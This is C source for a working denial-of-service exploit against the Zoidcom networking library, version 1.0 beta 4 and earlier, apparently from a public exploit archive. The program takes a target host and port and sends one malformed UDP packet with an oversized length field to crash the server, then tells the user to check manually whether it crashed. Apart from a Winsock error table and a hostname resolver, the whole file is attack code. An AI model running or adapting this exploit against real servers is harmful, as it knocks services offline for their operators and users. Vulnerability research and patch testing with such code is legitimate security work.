*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
   #include <winsock.h>
/*
  Header file used for manage errors in Windows
  It support socket and errno too
  (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
   char    *error;

   switch(WSAGetLastError()) {
       case 10004: error = "Interrupted system call"; break;
       case 10009: error = "Bad file number"; break;
       case 10013: error = "Permission denied"; break;
       case 10014: error = "Bad address"; break;
       case 10022: error = "Invalid argument (not bind)"; break;
       case 10024: error = "Too many open files"; break;
       case 10035: error = "Operation would block"; break;
       case 10036: error = "Operation now in progress"; break;
       case 10037: error = "Operation already in progress"; break;
       case 10038: error = "Socket operation on non-socket"; break;
       case 10039: error = "Destination address required"; break;
       case 10040: error = "Message too long"; break;
       case 10041: error = "Protocol wrong type for socket"; break;
       case 10042: error = "Bad protocol option"; break;
       case 10043: error = "Protocol not supported"; break;
       case 10044: error = "Socket type not supported"; break;
       case 10045: error = "Operation not supported on socket"; break;
       case 10046: error = "Protocol family not supported"; break;
       case 10047: error = "Address family not supported by protocol family"; break;
       case 10048: error = "Address already in use"; break;
       case 10049: error = "Can't assign requested address"; break;
       case 10050: error = "Network is down"; break;
       case 10051: error = "Network is unreachable"; break;
       case 10052: error = "Net dropped connection or reset"; break;
       case 10053: error = "Software caused connection abort"; break;
       case 10054: error = "Connection reset by peer"; break;
       case 10055: error = "No buffer space available"; break;
       case 10056: error = "Socket is already connected"; break;
       case 10057: error = "Socket is not connected"; break;
       case 10058: error = "Can't send after socket shutdown"; break;
       case 10059: error = "Too many references, can't splice"; break;
       case 10060: error = "Connection timed out"; break;
       case 10061: error = "Connection refused"; break;
       case 10062: error = "Too many levels of symbolic links"; break;
       case 10063: error = "File name too long"; break;
       case 10064: error = "Host is down"; break;
       case 10065: error = "No Route to Host"; break;
       case 10066: error = "Directory not empty"; break;
       case 10067: error = "Too many processes"; break;
       case 10068: error = "Too many users"; break;
       case 10069: error = "Disc Quota Exceeded"; break;
       case 10070: error = "Stale NFS file handle"; break;
       case 10091: error = "Network SubSystem is unavailable"; break;
       case 10092: error = "WINSOCK DLL Version out of range"; break;
       case 10093: error = "Successful WSASTARTUP not yet performed"; break;
       case 10071: error = "Too many levels of remote in path"; break;
       case 11001: error = "Host not found"; break;
       case 11002: error = "Non-Authoritative Host not found"; break;
       case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
       case 11004: error = "Valid name, no data record of requested type"; break;
       default: error = strerror(errno); break;
   }
   fprintf(stderr, "\nError: %s\n", error);
   exit(1);
}

//combined - /str0ke

   #define close   closesocket
#else
   #include <unistd.h>
   #include <sys/socket.h>
   #include <sys/types.h>
   #include <arpa/inet.h>
   #include <netinet/in.h>
   #include <netdb.h>
#endif



#define VER         "0.1"
#define MAX         536870913



u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
   struct  sockaddr_in peer;
   u_long      bytes = MAX,
               bits;
   int         sd;
   u_short     port;

#ifdef WIN32
   WSADATA    wsadata;
   WSAStartup(MAKEWORD(1,0), &wsadata);
#endif


   setbuf(stdout, NULL);

   fputs("\n"
       "Zoidcom <= 1.0 beta 4 crash "VER"\n"
       "by Luigi Auriemma\n"
       "e-mail: aluigi@autistici.org\n"
       "web:    http://aluigi.altervista.org\n"
       "\n", stdout);

   if(argc < 3) {
       printf("\n"
           "Usage: %s <host> <port> [bytes(%lu)]\n"
           "\n", argv[0], bytes);
       exit(1);
   }

   if(argc > 3) bytes = atol(argv[3]);

   port                 = atoi(argv[2]);
   peer.sin_addr.s_addr = resolv(argv[1]);
   peer.sin_port        = htons(port);
   peer.sin_family      = AF_INET;

   printf("- target   %s : %hu\n",
       inet_ntoa(peer.sin_addr), port);

   sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
   if(sd < 0) std_err();

   bits = (bytes - 2) << 3;
   printf("- send malformed packet:\n  %lu bits -> %lu bytes\n", bits, bytes);
   if(sendto(sd, (void *)&bits, 4, 0, (struct sockaddr *)&peer, sizeof(peer))
     < 0) std_err();

   close(sd);
   fputs("- the server should be crashed, check it manually\n\n", stdout);
   return(0);
}



u_long resolv(char *host) {
   struct hostent *hp;
   u_long host_ip;

   host_ip = inet_addr(host);
   if(host_ip == INADDR_NONE) {
       hp = gethostbyname(host);
       if(!hp) {
           printf("\nError: Unable to resolv hostname (%s)\n", host);
           exit(1);
       } else host_ip = *(u_long *)hp->h_addr;
   }
   return(host_ip);
}



#ifndef WIN32
   void std_err(void) {
       perror("\nError");
       exit(1);
   }
#endif